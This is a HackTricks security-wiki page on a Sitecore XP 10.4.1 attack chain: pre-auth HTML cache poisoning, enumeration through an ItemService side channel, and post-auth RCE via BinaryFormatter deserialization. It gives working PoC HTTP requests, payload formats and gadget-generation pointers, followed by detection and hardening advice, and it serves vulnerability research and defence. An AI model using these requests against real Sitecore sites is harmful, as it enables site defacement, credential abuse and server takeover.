HackTricks News Bot 1818c16530 Add content from: Cache Me If You Can: Sitecore Experience Platform Cache Pois...
- Remove searchindex.js (auto-generated file)
2025-08-29 18:44:54 +00:00

9.5 KiB
Raw Blame History

Sitecore Experience Platform (XP) Preauth HTML Cache Poisoning to Postauth RCE

{{#include ../../../banners/hacktricks-training.md}}

This page summarises a practical attack chain against Sitecore XP 10.4.1 that pivots from a preauth XAML handler to HTML cache poisoning and, via an authenticated UI flow, to RCE through BinaryFormatter deserialization. The techniques generalise to similar Sitecore versions/components and provide concrete primitives to test, detect, and harden.

  • Affected product tested: Sitecore XP 10.4.1 rev. 011628
  • Fixed in: KB1003667, KB1003734 (June/July 2025)

See also:

{{#ref}} ../../../pentesting-web/cache-deception/README.md {{#endref}}

{{#ref}} ../../../pentesting-web/deserialization/README.md {{#endref}}

Preauth primitive: XAML Ajax reflection → HtmlCache write

Entrypoint is the preauth XAML handler registered in web.config:

<add verb="*" path="sitecore_xaml.ashx" type="Sitecore.Web.UI.XamlSharp.Xaml.XamlPageHandlerFactory, Sitecore.Kernel" name="Sitecore.XamlPageRequestHandler" />

Accessible via:

GET /-/xaml/Sitecore.Shell.Xaml.WebControl

The control tree includes AjaxScriptManager which, on event requests, reads attackercontrolled fields and reflectively invokes methods on targeted controls:

// AjaxScriptManager.OnPreRender
string clientId = page.Request.Form["__SOURCE"];      // target control
string text     = page.Request.Form["__PARAMETERS"];  // Method("arg1", "arg2")
...
Dispatch(clientId, text);

// eventually → DispatchMethod(control, parameters)
MethodInfo m = ReflectionUtil.GetMethodFiltered<ProcessorMethodAttribute>(this, e.Method, e.Parameters, true);
if (m != null) m.Invoke(this, e.Parameters);

// Alternate branch for XML-based controls
if (control is XmlControl && AjaxScriptManager.DispatchXmlControl(control, args)) {...}

Key observation: the XAML page includes an XmlControl instance (xmlcontrol:GlobalHeader). Sitecore.XmlControls.XmlControl derives from Sitecore.Web.UI.WebControl (a Sitecore class), which passes the ReflectionUtil.Filter allowlist (Sitecore.*), unlocking methods on Sitecore WebControl.

Magic method for poisoning:

// Sitecore.Web.UI.WebControl
protected virtual void AddToCache(string cacheKey, string html) {
  HtmlCache c = CacheManager.GetHtmlCache(Sitecore.Context.Site);
  if (c != null) c.SetHtml(cacheKey, html, this._cacheTimeout);
}

Because we can target xmlcontrol:GlobalHeader and call Sitecore.Web.UI.WebControl methods by name, we get a preauth arbitrary HtmlCache write primitive.

PoC request (CVE-2025-53693)

POST /-/xaml/Sitecore.Shell.Xaml.WebControl HTTP/2
Host: target
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=AddToCache("wat","<html><body>pwn</body></html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Notes:

  • __SOURCE is the clientID of xmlcontrol:GlobalHeader within Sitecore.Shell.Xaml.WebControl (commonly stable like ctl00_ctl00_ctl05_ctl03 as its derived from static XAML).
  • __PARAMETERS format is Method("arg1","arg2").

What to poison: Cache key construction

Typical HtmlCache key construction used by Sitecore controls:

public virtual string GetCacheKey(){
  SiteContext site = Sitecore.Context.Site;
  if (this.Cacheable && (site == null || site.CacheHtml) && !this.SkipCaching()){
    string key = this.CachingID.Length > 0 ? this.CachingID : this.CacheKey;
    if (key.Length > 0){
      string k = key + "_#lang:" + Language.Current.Name.ToUpperInvariant();
      if (this.VaryByData)        k += ResolveDataKeyPart();
      if (this.VaryByDevice)      k += "_#dev:"   + Sitecore.Context.GetDeviceName();
      if (this.VaryByLogin)       k += "_#login:" + Sitecore.Context.IsLoggedIn;
      if (this.VaryByUser)        k += "_#user:"  + Sitecore.Context.GetUserName();
      if (this.VaryByParm)        k += "_#parm:"  + this.Parameters;
      if (this.VaryByQueryString && site?.Request != null)
                                   k += "_#qs:"   + MainUtil.ConvertToString(site.Request.QueryString, "=", "&");
      if (this.ClearOnIndexUpdate) k += "_#index";
      return k;
    }
  }
  return string.Empty;
}

Example targeted poisoning for a known sublayout:

__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1

Enumerating cacheable items and “vary by” dimensions

If the ItemService is (mis)exposed anonymously, you can enumerate cacheable components to derive exact keys.

Quick probe:

GET /sitecore/api/ssc/item
// 404 Sitecore error body → exposed (anonymous)
// 403 → blocked/auth required

List cacheable items and flags:

GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100

Look for fields like Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Device names can be enumerated via:

GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100

Sidechannel enumeration under restricted identities (CVE-2025-53694)

Even when ItemService impersonates a limited account (e.g., ServicesAPI) and returns an empty Results array, TotalCount may still reflect preACL Solr hits. You can bruteforce item groups/ids with wildcards and watch TotalCount converge to map internal content and devices:

GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
→ "TotalCount": 3
GET /...term=%2B_templatename:Device;%2B_group:aa*
→ "TotalCount": 2
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
→ narrow to a specific item

Postauth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)

Sink:

// Sitecore.Convert
byte[] b = Convert.FromBase64String(data);
return new BinaryFormatter().Deserialize(new MemoryStream(b));

Reachable via the convertToRuntimeHtml pipeline step ConvertWebControls, which looks for an element with id {iframeId}_inner and base64 decodes + deserializes it, then injects the resulting string into the HTML:

HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
string text2   = inner?.GetAttributeValue("value", "");
if (text2.Length > 0)
  htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);

Trigger (authenticated, Content Editor rights). The FixHtml dialog calls convertToRuntimeHtml. Endtoend without UI clicks:

// 1) Start Content Editor
GET /sitecore/shell/Applications/Content%20Editor.aspx

// 2) Load malicious HTML into EditHtml session (XAML event)
POST /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.EditHtml.aspx
Content-Type: application/x-www-form-urlencoded

__PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
<html>
  <iframe id="test" src="poc" value="poc"></iframe>
  <test id="test_inner" value="BASE64_GADGET"></test>
</html>

// 3) Server returns a session handle (hdl) for FixHtml
{"command":"ShowModalDialog","value":"/sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=..."}

// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...

Gadget generation: use ysoserial.net / YSoNet with BinaryFormatter to produce a base64 payload returning a string. The strings contents are written into the HTML by ConvertWebControls after deserialization sideeffects execute.

{{#ref}} ../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md {{#endref}}

Complete chain

  1. Preauth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
  2. Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
  3. The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attackercontrolled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.

Detection

  • Preauth XAML: requests to /-/xaml/Sitecore.Shell.Xaml.WebControl with __ISEVENT=1, suspicious __SOURCE and __PARAMETERS=AddToCache(...).
  • ItemService probing: spikes of /sitecore/api/ssc wildcard queries, large TotalCount with empty Results.
  • Deserialization attempts: EditHtml.aspx followed by FixHtml.aspx?hdl=... and unusually large base64 in HTML fields.

Hardening

  • Apply Sitecore patches KB1003667 and KB1003734; gate/disable preauth XAML handlers or add strict validation; monitor and ratelimit /-/xaml/.
  • Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong serverside validation of HTML editing flows.
  • Lock down /sitecore/api/ssc to loopback or authenticated roles; avoid impersonation patterns that leak TotalCountbased side channels.
  • Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.

References

{{#include ../../../banners/hacktricks-training.md}}